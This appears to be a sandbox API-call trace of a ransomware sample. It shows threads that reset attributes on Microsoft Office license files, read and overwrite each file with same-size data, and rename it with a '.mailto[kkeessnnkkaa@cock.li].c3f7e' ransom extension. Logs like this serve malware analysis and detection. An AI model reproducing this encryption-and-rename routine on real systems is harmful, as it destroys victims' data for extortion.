	[0086.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0086.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb4b0) returned 1
	[0086.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x4775610
	[0086.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb4b0
	[0086.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753db8
	[0086.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x4775160
	[0086.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753db8) returned 1
	[0086.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb4b0) returned 1
	[0086.597] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x125) returned 0x498eaf0
	[0086.597] SetFilePointerEx (in: hFile=0x192c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.597] WriteFile (in: hFile=0x192c, lpBuffer=0x498eaf0*, nNumberOfBytesToWrite=0x125, lpNumberOfBytesWritten=0x2a0bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x498eaf0*, lpNumberOfBytesWritten=0x2a0bfdbc*=0x125, lpOverlapped=0x0) returned 1
	[0086.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498eaf0) returned 1
	[0086.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775160) returned 1
	[0086.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775610) returned 1
	[0086.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0086.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0086.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0086.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768628
	[0086.598] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms"
	[0086.598] wcscat (in: _Dest=0x4768628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.598] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a0bfd74, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x477a460
	[0086.598] NtSetInformationFile (FileHandle=0x192c, IoStatusBlock=0x2a0bfd6c, FileInformation=0x477a460, Length=0xf6, FileInformationClass=0xa) returned 0x0
	[0086.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0086.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0086.599] NtQueryInformationFile (in: FileHandle=0x192c, IoStatusBlock=0x2a0bfd80, FileInformation=0x2a0bfd58, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a0bfd80, FileInformation=0x2a0bfd58) returned 0x0
	[0086.599] NtSetInformationFile (FileHandle=0x192c, IoStatusBlock=0x2a0bfd80, FileInformation=0x2a0bfd58, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.600] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0086.600] FlushFileBuffers (hFile=0x192c) returned 1
	[0093.102] CloseHandle (hObject=0x192c) 

Thread:
	id = 1205
	os_tid = 0x1f48

	[0086.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220
	[0086.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1930
	[0086.597] GetFileSizeEx (in: hFile=0x1930, lpFileSize=0x2a13fb18 | out: lpFileSize=0x2a13fb18*=10635) returned 1
	[0086.597] SetFilePointerEx (in: hFile=0x1930, liDistanceToMove=0x2987, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.600] ReadFile (in: hFile=0x1930, lpBuffer=0x2a13fa9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a13fa98, lpOverlapped=0x0 | out: lpBuffer=0x2a13fa9c*, lpNumberOfBytesRead=0x2a13fa98*=0x4, lpOverlapped=0x0) returned 1
	[0086.602] SetFilePointerEx (in: hFile=0x1930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0086.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.602] NtQuerySystemTime (in: CurrentTime=0x2a13fa78 | out: CurrentTime=0x2a13fa78*=132251868133365883) returned 0x0
	[0086.602] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0xfece477
	[0086.602] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x85684aae
	[0086.602] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x30fba93f
	[0086.602] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x856e3e38
	[0086.602] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x8bf28a8d
	[0086.602] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x53a981b3
	[0086.602] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x173d0951
	[0086.602] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x10688f1a
	[0086.602] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0xcc80be84
	[0086.602] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x7b19dc0b
	[0086.602] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x816e87f3
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0xdfaa7815
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0xee75a1df
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0xeb15c1e3
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x6e10a2e3
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x1381b118
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x34e0dab0
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0xd481bcbc
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x52537e27
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x3ede8e7e
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x7e0be2cd
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x24b238f7
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0xa9471f45
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x7c865be1
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x9be0a5d6
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0xc929db89
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x3a5cb7cf
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x1dab5a92
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0xf6ee3bbe
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0xd69041e6
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x5584f617
	[0086.603] RtlRandom (in: Seed=0x2a13fa84 | out: Seed=0x2a13fa84) returned 0x422e1314
	[0086.610] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b50
	[0086.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0086.613] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.613] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.613] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb4b0
	[0086.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0086.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.613] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x481f010
	[0086.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x482b818
	[0086.613] ReadFile (in: hFile=0x1930, lpBuffer=0x481f010, nNumberOfBytesToRead=0x298b, lpNumberOfBytesRead=0x2a13fa74, lpOverlapped=0x0 | out: lpBuffer=0x481f010*, lpNumberOfBytesRead=0x2a13fa74*=0x298b, lpOverlapped=0x0) returned 1
	[0086.614] SetFilePointerEx (in: hFile=0x1930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.614] WriteFile (in: hFile=0x1930, lpBuffer=0x482b818*, nNumberOfBytesToWrite=0x298b, lpNumberOfBytesWritten=0x2a13fa70, lpOverlapped=0x0 | out: lpBuffer=0x482b818*, lpNumberOfBytesWritten=0x2a13fa70*=0x298b, lpOverlapped=0x0) returned 1
	[0086.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x482b818) returned 1
	[0086.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481f010) returned 1
	[0086.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0086.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb4b0) returned 1
	[0086.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3f) returned 0x2dfb4b0
	[0086.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb540
	[0086.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753db8
	[0086.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3f) returned 0x2dfb0c0
	[0086.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753db8) returned 1
	[0086.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb540) returned 1
	[0086.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x123) returned 0x498eaf0
	[0086.616] SetFilePointerEx (in: hFile=0x1930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.616] WriteFile (in: hFile=0x1930, lpBuffer=0x498eaf0*, nNumberOfBytesToWrite=0x123, lpNumberOfBytesWritten=0x2a13fad8, lpOverlapped=0x0 | out: lpBuffer=0x498eaf0*, lpNumberOfBytesWritten=0x2a13fad8*=0x123, lpOverlapped=0x0) returned 1
	[0086.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498eaf0) returned 1
	[0086.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0086.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb4b0) returned 1
	[0086.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0086.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0086.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0086.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0086.617] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms"
	[0086.617] wcscat (in: _Dest=0x4768628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.617] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a13fa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x477a460
	[0086.618] NtSetInformationFile (FileHandle=0x1930, IoStatusBlock=0x2a13fa88, FileInformation=0x477a460, Length=0xf4, FileInformationClass=0xa) returned 0x0
	[0086.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0086.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0086.619] NtQueryInformationFile (in: FileHandle=0x1930, IoStatusBlock=0x2a13fa9c, FileInformation=0x2a13fa74, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a13fa9c, FileInformation=0x2a13fa74) returned 0x0
	[0086.619] NtSetInformationFile (FileHandle=0x1930, IoStatusBlock=0x2a13fa9c, FileInformation=0x2a13fa74, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0086.620] FlushFileBuffers (hFile=0x1930) returned 1
	[0093.102] CloseHandle (hObject=0x1930) 

Thread:
	id = 1206
	os_tid = 0x1f4c

	[0086.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0086.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1934
	[0086.620] GetFileSizeEx (in: hFile=0x1934, lpFileSize=0x2a1bfa78 | out: lpFileSize=0x2a1bfa78*=20846) returned 1
	[0086.620] SetFilePointerEx (in: hFile=0x1934, liDistanceToMove=0x516a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.620] ReadFile (in: hFile=0x1934, lpBuffer=0x2a1bf9fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a1bf9f8, lpOverlapped=0x0 | out: lpBuffer=0x2a1bf9fc*, lpNumberOfBytesRead=0x2a1bf9f8*=0x4, lpOverlapped=0x0) returned 1
	[0086.623] SetFilePointerEx (in: hFile=0x1934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.623] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.623] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0086.623] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.623] NtQuerySystemTime (in: CurrentTime=0x2a1bf9d8 | out: CurrentTime=0x2a1bf9d8*=132251868133662971) returned 0x0
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x5264159a
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x42553905
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x3039f0d2
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xdcd5a84c
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xecdafc2b
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xe0dfc55a
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xf09e089b
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xe6e604ab
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x4e093d59
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x1ae48cbc
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x8fbe4cd4
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x4d27326c
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x77d97d15
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xd917013b
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xd2c0f60
	[0086.623] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x6b05e55b
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xc0cc93f
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x674d8097
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xea5850e7
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xc16609ae
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x1418b9e2
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x725fc583
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x143e7155
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x75ddd403
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xb3b2b371
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xd89395a3
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x778a10c9
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xeb1b7c40
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x273cbb60
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0x19e0a0d8
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xbc92609c
	[0086.624] RtlRandom (in: Seed=0x2a1bf9e4 | out: Seed=0x2a1bf9e4) returned 0xbc558e30
	[0086.630] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b50
	[0086.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0086.632] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.632] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.632] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb4b0
	[0086.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0086.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.632] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x481f010
	[0086.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x482b818
	[0086.632] ReadFile (in: hFile=0x1934, lpBuffer=0x481f010, nNumberOfBytesToRead=0x516e, lpNumberOfBytesRead=0x2a1bf9d4, lpOverlapped=0x0 | out: lpBuffer=0x481f010*, lpNumberOfBytesRead=0x2a1bf9d4*=0x516e, lpOverlapped=0x0) returned 1
	[0086.634] SetFilePointerEx (in: hFile=0x1934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.634] WriteFile (in: hFile=0x1934, lpBuffer=0x482b818*, nNumberOfBytesToWrite=0x516e, lpNumberOfBytesWritten=0x2a1bf9d0, lpOverlapped=0x0 | out: lpBuffer=0x482b818*, lpNumberOfBytesWritten=0x2a1bf9d0*=0x516e, lpOverlapped=0x0) returned 1
	[0087.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x482b818) returned 1
	[0087.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481f010) returned 1
	[0087.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0087.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb4b0) returned 1
	[0087.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x4776010
	[0087.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0087.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0087.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
